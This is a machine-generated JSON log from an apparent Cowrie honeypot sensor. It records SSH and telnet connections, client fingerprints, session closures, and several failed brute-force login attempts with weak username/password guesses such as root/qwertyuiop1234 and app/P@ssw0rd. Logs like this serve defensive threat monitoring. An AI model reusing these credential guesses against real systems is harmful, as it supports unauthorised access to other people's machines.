{"eventid":"cowrie.session.closed","duration":31.076186418533325,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:26.841242Z","src_ip":"103.233.1.130","session":"dc12457856e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91594672203064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:30.574255Z","src_ip":"103.233.1.130","session":"4d475a1e9444","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95729112625122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:31.818770Z","src_ip":"103.233.1.130","session":"2e8505995a18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.04770469665527,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:32.073489Z","src_ip":"103.233.1.130","session":"2b04bc260ed3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.75767421722412,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:34.188584Z","src_ip":"103.233.1.130","session":"3585043754d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.965622425079346,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:35.593663Z","src_ip":"103.233.1.130","session":"77ee2b663ac6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.922173976898193,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:36.034066Z","src_ip":"103.233.1.130","session":"007082ea7325","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":4326,"dst_ip":"10.17.0.5","dst_port":22,"session":"18234b9d1424","protocol":"ssh","message":"New connection: 182.253.79.194:4326 (10.17.0.5:22) [session: 18234b9d1424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:36.743959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:36.748778Z","src_ip":"182.253.79.194","session":"18234b9d1424","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:37.015983Z","src_ip":"182.253.79.194","session":"18234b9d1424","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.139071941375732,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:37.592676Z","src_ip":"103.233.1.130","session":"ac4dc1f0bdd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":59868,"dst_ip":"159.203.135.109","dst_port":22,"session":"88f46b62b3cd","protocol":"ssh","message":"New connection: 122.168.114.167:59868 (159.203.135.109:22) [session: 88f46b62b3cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:37.840197Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop1234","message":"login attempt [root/qwertyuiop1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:38.122005Z","src_ip":"182.253.79.194","session":"18234b9d1424","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:39.436633Z","src_ip":"182.253.79.194","session":"18234b9d1424","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:42.014139Z","src_ip":"122.168.114.167","session":"88f46b62b3cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:42.018025Z","src_ip":"122.168.114.167","session":"88f46b62b3cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60478,"dst_ip":"159.203.135.109","dst_port":22,"session":"0780fa013006","protocol":"ssh","message":"New connection: 159.203.92.129:60478 (159.203.135.109:22) [session: 0780fa013006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:42.233295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:42.237726Z","src_ip":"159.203.92.129","session":"0780fa013006","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:42.242487Z","src_ip":"159.203.92.129","session":"0780fa013006","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"321","message":"login attempt [app/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:42.251176Z","src_ip":"159.203.92.129","session":"0780fa013006","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.87536931037903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:42.657488Z","src_ip":"103.233.1.130","session":"420e08e897ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:43.256817Z","src_ip":"159.203.92.129","session":"0780fa013006","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.435872316360474,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:45.387359Z","src_ip":"103.233.1.130","session":"875210adf8f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21140217781067,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:45.474118Z","src_ip":"103.233.1.130","session":"9f812b8e3fe1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.08584213256836,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:48.054619Z","src_ip":"103.233.1.130","session":"53ed8df3c381","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.523706197738647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:50.337103Z","src_ip":"103.233.1.130","session":"39daf8bbccdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.144123315811157,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:51.518828Z","src_ip":"103.233.1.130","session":"0f3e75ccdbf4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.437774658203125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:53.120511Z","src_ip":"103.233.1.130","session":"c8a58005ce63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.255787134170532,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:57.439533Z","src_ip":"103.233.1.130","session":"94b36fdc6261","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:58.442795Z","src_ip":"122.168.114.167","session":"88f46b62b3cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":55722,"dst_ip":"159.203.135.109","dst_port":23,"session":"dadb6484ee6f","protocol":"telnet","message":"New connection: 103.233.1.130:55722 (159.203.135.109:23) [session: dadb6484ee6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:59.102417Z"}
{"eventid":"cowrie.session.closed","duration":"25.3","message":"Connection lost after 25.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:56:03.130664Z","src_ip":"122.168.114.167","session":"88f46b62b3cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":41782,"dst_ip":"159.203.135.109","dst_port":23,"session":"79c93ed253d5","protocol":"telnet","message":"New connection: 103.233.1.130:41782 (159.203.135.109:23) [session: 79c93ed253d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:56:13.035867Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":34044,"dst_ip":"159.203.135.109","dst_port":22,"session":"08b2834bc88b","protocol":"ssh","message":"New connection: 122.168.114.167:34044 (159.203.135.109:22) [session: 08b2834bc88b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:56:19.995393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:56:22.515182Z","src_ip":"122.168.114.167","session":"08b2834bc88b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:56:22.519068Z","src_ip":"122.168.114.167","session":"08b2834bc88b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39092,"dst_ip":"159.203.135.109","dst_port":22,"session":"b381a1997b8e","protocol":"ssh","message":"New connection: 159.203.92.129:39092 (159.203.135.109:22) [session: b381a1997b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:56:27.842939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:56:27.846822Z","src_ip":"159.203.92.129","session":"b381a1997b8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:56:27.850166Z","src_ip":"159.203.92.129","session":"b381a1997b8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"P@ssw0rd","message":"login attempt [app/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:56:27.860369Z","src_ip":"159.203.92.129","session":"b381a1997b8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:56:28.869563Z","src_ip":"159.203.92.129","session":"b381a1997b8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.151021242141724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:56:30.253336Z","src_ip":"103.233.1.130","session":"dadb6484ee6f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:56:35.336179Z","src_ip":"122.168.114.167","session":"08b2834bc88b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":58660,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4e47843dcf3","protocol":"telnet","message":"New connection: 103.233.1.130:58660 (159.203.135.109:23) [session: d4e47843dcf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:56:35.830338Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":4803,"dst_ip":"10.17.0.5","dst_port":22,"session":"f01ff85c817d","protocol":"ssh","message":"New connection: 182.253.79.194:4803 (10.17.0.5:22) [session: f01ff85c817d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:56:38.087632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:56:38.091902Z","src_ip":"182.253.79.194","session":"f01ff85c817d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:56:38.348397Z","src_ip":"182.253.79.194","session":"f01ff85c817d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"User1234","message":"login attempt [user/User1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:56:39.405063Z","src_ip":"182.253.79.194","session":"f01ff85c817d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.4","message":"Connection lost after 19.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:56:39.435826Z","src_ip":"122.168.114.167","session":"08b2834bc88b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:56:40.665190Z","src_ip":"182.253.79.194","session":"f01ff85c817d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.68401002883911,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:56:44.719721Z","src_ip":"103.233.1.130","session":"79c93ed253d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":36452,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e0de5f249a9","protocol":"ssh","message":"New connection: 122.168.114.167:36452 (159.203.135.109:22) [session: 9e0de5f249a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:57:01.286320Z"}
